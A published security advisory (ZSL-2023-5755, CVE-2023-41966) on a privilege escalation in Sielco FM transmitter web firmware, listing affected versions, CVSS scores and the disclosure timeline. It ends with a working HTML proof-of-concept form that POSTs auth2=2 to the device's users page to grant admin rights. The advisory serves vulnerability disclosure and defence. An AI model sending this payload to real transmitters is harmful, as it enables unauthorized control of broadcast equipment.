Gjoko KrsticZSL-2023-5755Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
19.3%
Title: Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation
Advisory ID: ZSL-2023-5755
Type: Local/Remote
Impact: Privilege Escalation
Risk: (4/5)
Release Date: 28.03.2023
Summary
Sielco designs and produces FM radio transmitters for professional broadcasting. The in-house laboratory develops standard and customised solutions to meet all needs. Whether digital or analogue, each product is studied to ensure reliability, resistance over time and a high standard of safety. Sielco transmitters are distributed throughout the world and serve many radios in Europe, South America, Africa, Oceania and China.
Description
The application suffers from a privilege escalation vulnerability. A user with Read permissions can elevate his/her privileges by sending a HTTP POST request setting the parameter ‘auth1’ or ‘auth2’ or ‘auth3’ to integer value ‘1’ for Write or ‘2’ for Admin permissions.
Vendor
Sielco S.r.l - <https://www.sielco.org>
Affected Version
2.12 (EXC5000GX)
2.12 (EXC120GX)
2.11 (EXC300GX)
2.10 (EXC1600GX)
2.10 (EXC2000GX)
2.08 (EXC1600GX)
2.08 (EXC1000GX)
2.07 (EXC3000GX)
2.06 (EXC5000GX)
1.7.7 (EXC30GT)
1.7.4 (EXC300GT)
1.7.4 (EXC100GT)
1.7.4 (EXC5000GT)
1.6.3 (EXC1000GT)
1.5.4 (EXC120GT)
Tested On
lwIP/2.1.1
Web/3.0.3
Vendor Status
[26.01.2023] Vulnerability discovered.
[27.01.2023] Contact with the vendor and CSIRT Italia.
[27.03.2023] No response from the vendor.
[27.03.2023] No response from the CSIRT team.
[28.03.2023] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://www.exploit-db.com/exploits/51366>
[2] <https://packetstormsecurity.com/files/171842/>
[3] <https://cxsecurity.com/issue/WLB-2023040059>
[4] <https://www.cisa.gov/news-events/ics-advisories/icsa-23-299-08>
[5] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-41966>
[6] <https://nvd.nist.gov/vuln/detail/CVE-2023-41966>
[7] <https://exchange.xforce.ibmcloud.com/vulnerabilities/253074>
[8] <https://exchange.xforce.ibmcloud.com/vulnerabilities/269709>
Changelog
[28.03.2023] - Initial release
[02.11.2023] - Added reference [1], [2], [3], [4], [5], [6], [7] and [8]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<!--
Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation
Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.12 (EXC5000GX)
2.12 (EXC120GX)
2.11 (EXC300GX)
2.10 (EXC1600GX)
2.10 (EXC2000GX)
2.08 (EXC1600GX)
2.08 (EXC1000GX)
2.07 (EXC3000GX)
2.06 (EXC5000GX)
1.7.7 (EXC30GT)
1.7.4 (EXC300GT)
1.7.4 (EXC100GT)
1.7.4 (EXC5000GT)
1.6.3 (EXC1000GT)
1.5.4 (EXC120GT)
Summary: Sielco designs and produces FM radio transmitters
for professional broadcasting. The in-house laboratory develops
standard and customised solutions to meet all needs. Whether
digital or analogue, each product is studied to ensure reliability,
resistance over time and a high standard of safety. Sielco
transmitters are distributed throughout the world and serve
many radios in Europe, South America, Africa, Oceania and China.
Desc: The application suffers from a privilege escalation vulnerability.
A user with Read permissions can elevate his/her privileges by sending
a HTTP POST request setting the parameter 'auth1' or 'auth2' or 'auth3'
to integer value '1' for Write or '2' for Admin permissions.
Tested on: lwIP/2.1.1
Web/3.0.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5755
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5755.php
26.01.2023
--><html>
<body>
<form action="http://transmitter/protect/users.htm" method="POST">
<input name="pwd0" type="hidden" value=""/>
<input name="pwd0bis" type="hidden" value=""/>
<input name="user1" type="hidden" value=""/>
<input name="pwd1" type="hidden" value=""/>
<input name="pwd1bis" type="hidden" value=""/>
<input name="auth1" type="hidden" value=""/>
<input name="user2" type="hidden" value="test"/>
<input name="pwd2" type="hidden" value=""/>
<input name="pwd2bis" type="hidden" value=""/>
<input name="auth2" type="hidden" value="2"/>
<input name="user3" type="hidden" value=""/>
<input name="pwd3" type="hidden" value=""/>
<input name="pwd3bis" type="hidden" value=""/>
<input name="auth3" type="hidden" value=""/>
<input type="submit" value="Escalate"/>
</form>
</body>
</html>
Related
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
0.001 Low
EPSS
Percentile
19.3%